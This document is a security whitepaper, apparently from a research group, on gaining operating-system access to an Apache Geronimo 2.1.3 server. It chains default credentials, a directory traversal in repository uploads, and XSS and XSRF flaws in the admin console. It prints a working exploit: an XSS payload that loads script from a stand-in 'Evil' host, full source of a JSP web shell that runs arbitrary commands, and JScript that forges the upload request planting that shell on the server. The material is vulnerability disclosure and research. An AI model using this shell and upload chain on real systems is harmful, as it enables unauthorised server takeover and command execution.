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Introduction 

This whitepaper continues a series of the publications describing various ways of 

obtaining access to the operating system, using vulnerabilities of various applications which can 

meet in the corporate environment. 

This time the server of Apache Geronimo applications became the research object. 

Found vulnerabilities are similar that has been described in the first article of a series (see 

Getting OS access using IBM Websphere Application Server vulnerabilities) where IBM 

Websphere application server was considered. As before, in article describes ways of obtaining 

access to the server operating system through these vulnerabilities.  

http://dsecrg.com/pages/pub/show.php?id=16
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Description of Geronimo Application Server 

Apache Geronimo is a Application server with open source code, developed Apache 

Software Foundation. It is necessary to mark that the IBM Websphere application server, 

considered by us earlier, is based on Apache Geronimo. 

Administration Geronimo is carried out through special web-interface Geronimo 

Console. 

 

Geronimo admin console 

 

Connection to Console can be carried out on two protocols: HTTP (port by default: 8080) 

and HTTPS (port by default: 8443). And in standard installation Geronimo 2.1.3 both interfaces 

are accessible. 

After installation and start Geronimo is accessible the number of the preinstalled 

applications, including the administration Console. 
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Preinstalled applications 
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Geronimo Admin Console 

Access to Console is carried out by input the user name and the password which by 

default have values system and manager. The information about current session is stored in 

browser cookie and not anchored to computer IP-address. 

Console allows controlling users and security settings and also adding new applications 

and services. Besides, there are various ways of creation and loading of new files on a server. 

So, in the presence of the vulnerability, allowing getting access to Console, it is possible to get 

further access to the server operating system. 

But at first we will more in detail consider, what possibilities of a file management are 

presented at Console. 
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Directory traversal and loading of files 

At the first survey of administration Console the menu Applications is evident and 

expected possibility of loading of new applications on a server. However the interface of 

addition of new applications allows to load only JAR archives. Certainly, it is quite enough of it 

to load a necessary executable file for getting access to the server, but the similar way was 

already used, when we considered IBM Websphere application server. Now we will consider 

other variants. 

Having continued survey of possibilities of Console, we will find that in menu Services 

there is Repository of JAR archives with which it is possible to add files, and check of contents 

and the extension of the given files is absent, so, it is possible to load a file of any format. 

But also it not all. Parametres group, artefact, version and fileType which are responsible 

for layout and the file name in archive, are vulnerable to directory traversal attack. And it 

means that the file can be loaded in any directory on a server, for example in root directory of 

an application server (see Apache Geronimo - Directory Traversal vulnerabilities by dsecrg). By 

default it:  

[install_dir]\ repository\org\apache\geronimo\configs\welcome-tomcat\2.1.3\welcome-tomcat-

2.1.3.car\  

At loading of files in Repository, they are located in a folder 

[install_dir]\ repository\ [group]\ [artifact]\ [version], and files have the name of a following 

format:  [artifact]-[version].[fileType]. Thus, knowing relative path to root directory of an 

application server suffices to load in it a file of any name and format. 

http://dsecrg.com/pages/vul/show.php?id=118
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Implementation of directory traversal attack 

 

After uploading file on server, it will be accessible in root directory of application server 

to this URL: http://[ server]:8080/test.htm 

For implementation of the given attack it is necessary to have direct access to Console 

which for us while is not present. Therefore we will look how this access can be received, 

except as usage of the standard account system with the password manager. 
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XSS in Geronimo Console 

Console is also prone to a cross-site scripting vulnerability. Exploiting this issue allow a 

remote attacker to execute arbitrary script code in the browser of an unsuspecting user in the 

context of Console by injecting XSS in URL string (see Apache Geronimo - Multiple XSS 

vulnerabilities found by DSecRG). 

 

XSS in Geronimo Console URL string 

 

However for execution difficult scenarios, the code of the scenario is better loading from 

the remote server. See example: 

https://[ server]: 8080/console/portal/"><script src=http:// Evil/xss.js></script> 

As it has already been told, current session of the user is not anchored to computer IP-

address. Thus, having received cookie it is possible to use its for access to current session of 

administrator and to all possibilities of Geronimo Console. 

http://dsecrg.com/pages/vul/show.php?id=119
http://dsecrg.com/pages/vul/show.php?id=119
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Nevertheless, the given method will not work in case session of the administrator will be 

already closed, when we will try to use intercepted cookie, or session will be anchored to IP-

address. Also that is not unimportant, access to the Console is recorded, and logon under 

intercepted cookie will be visible. 

The enumerated problems can be bypassed by means of XSRF vulnerability (to be exact 

its varieties XSFU) which has been found in the administration console.  
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XSRF, XSFU and last breakthrough 

Also Console is prone to a cross-site request-forgery vulnerability (XSRF or CSRF). This 

issue allows to perform certain administration actions via HTTP requests without performing 

any validity checks to verify the requests (see Apache Geronimo - Multiple XSRF vulnerabilities 

by DSecRG. Let's use it. 

Uploading execution file on server 

Having all considered vulnerabilities, it is possible to build a simple attack vector:  

 

Á Using XSS vulnerability, we form the link for implantation of the scenario which 

refers the administrator; 

Á The administrator, having passed under our link, will give control to the scenario; 

Á The scenario, by means of XSFU, loads an executable code on server, using 

directory traversal vulnerability; 

Á Then the scenario returns control over Console to the administrator. 

 

The best idea is to load on a server the simple command line interface on Java. For 

example: 

 

<%@page  pageEncoding =" UTF- 8"%> 

<%@page  import  = " java . io .*" %>  

<%@page  import  = " java . util .*" %>  

 

<% 

ArrayList ar = new ArrayList();  

ArrayList ar2 = new ArrayList();  

 

String com = (String)request.getParameter("comm and");  

    

if (com!=null) {  

    Process proc = Runtime.getRuntime().exec(com);  

    InputStream in = proc.getInputStream();  

    BufferedReader br = new BufferedReader(new InputStreamReader(in));  

    String l;  

    while ((l=br.readLine())!=null) {  

        ar .add(l);  

    }  

}  

%> 

<html>  

    <head>  

        <title>Java Shell</title>  

http://dsecrg.com/pages/vul/show.php?id=120
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    </head>  

    <body>  

        <h1>Java Shell</h1>  

        <h3>Command:</h3>  

        <form method="POST">  

            <input type="text" name="command" value="" />  

            <input t ype="submit" value="Run" name="run" />  

        </form>  

        <h3>Out:</h3>  

<% 

    if (ar.size()>0) {  

        for (Object o:ar) {  

            String ou = (String)o;  

%> 

            <%=ou%> 

            <br>  

<% 

        }  

    }  

%> 

    </body>  

</html>  

 

This code we will load on an application server. Now we will write the scenario on Jscript 

which will be inserted on page of the Console by means of XSS. The given scenario will make 

the POST request that will upload a shell.jsp file to the server (which code is resulted above): 

 

var boundary = " --------------------------- " + Date.parse(new Date());  

var body = " -- " + boundary + " \ r \ n";  

body += "Content - Disposition: form - data; name= \ "local \ "; 

filename= \ "test.txt \ " \ r \ n";  

body += "Content - Type: text/plain \ r \ n\ r \ n";  

 

body  += " [ javaCode ] "; // our code of the command line interface on Java  

 

body += setBody("group", " org/apache/geronimo/configs/welcome - tomcat", 

boundary);  

body += setBody("artifact", " 2.1.3", boundary);  

body += setBody("version", " welcome - tomcat - 2.1.3. car", boundary);  

body += setBody("fileType", " /../shell.jsp ", boundary);  

body += " -- " + boundary + " -- ";  

 

var objHTTP = new ActiveXObject('MSXML2.XMLHTTP');  

objHTTP.open("POST","/console/portal//Services/Repository/__ac0x3console

- base0x2RepositoryViewer!60 4305819|0?action=deploy", false);  
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objHTTP.setRequestHeader("Content - Type"," multipart/form - data; boundary=" 

+ boundary);  

objHTTP.send(body);  

 

window.location = "/console/portal/Welcome";  

 

function setBody(name, value, boundary)  

{  

 var body = " -- " + boundary  + " \ r \ n";  

 body += "Content - Disposition: form - data; name= \ "" + name + " \ "" + 

" \ r \ n\ r \ n";  

 body += value + " \ r \ n";  

 return body;  

}  

 

Also at a script writing it is necessary to consider that URL string in Geronimo is case-

sensitive characters. 

After administrator will come by reference with our scenario, in the server root 

directory shell.jsp file will be created. File will be accessible to this URL: https://[ server]: 

8080/shell.jsp 
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The command line interface. Result of performance of ' ipconfig ' command 

 

Thus, access is got to a server with the rights of the user from which name the 

application server is started. 
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Conclusion 

The advanced facilities of applications administration interfaces, together with 

vulnerabilities allowing to get access to administration interfaces (XSS, XSRF, XSFU, default 

passwords) can be used for access to the server operating system. As it has been shown in this 

article on an example of Apache Geromino application server. 
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